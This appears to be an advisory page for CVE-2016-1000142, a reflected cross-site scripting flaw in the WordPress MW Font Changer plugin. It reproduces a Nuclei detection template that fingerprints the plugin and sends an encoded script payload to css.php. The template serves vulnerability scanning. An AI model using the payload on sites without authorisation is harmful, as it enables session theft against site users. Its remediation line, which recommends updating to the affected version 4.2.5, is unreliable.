CVE-2016-1000142: WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting

2025-08-01 WordPress MW Font Changer PoC Public

Description

WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2016-1000142

info:
  name: WordPress MW Font Changer <=4.2.5 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress MW Font Changer plugin 4.2.5 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Allows remote attackers to execute arbitrary script or HTML code in the context of the affected site, potentially leading to session hijacking, defacement, or data theft.
  remediation: |
    Update to the latest version of the WordPress MW Font Changer plugin (4.2.5) or remove the plugin if it is not necessary.
  reference:
    - https://wpscan.com/vulnerability/4ff5d65a-ba61-439d-ab7f-745a0648fccc
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=435
    - https://wordpress.org/plugins/parsi-font
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000142
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000142
    cwe-id: CWE-79
    epss-score: 0.04448
    epss-percentile: 0.90911
    cpe: cpe:2.3:a:parsi-font_project:parsi-font:4.2.5:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "parsi-font_project"
    product: "parsi-font"
    framework: wordpress
  tags: cve2016,cve,wordpress,wp-plugin,xss,wpscan,parsi-font_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/parsi-font/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP-Parsi Admin Font Editor'
          - 'MW Font Changer'
        condition: or

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/parsi-font/css.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022031203dd015f3a1d8ce8f1b9c92919c417941f6eb12584b2831871049544cb24f022100d34ff44c9baf51537e451ea3b5041acc352c2d5613aa7dfcf1c33bb82adbc481:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-1000142.yaml

References

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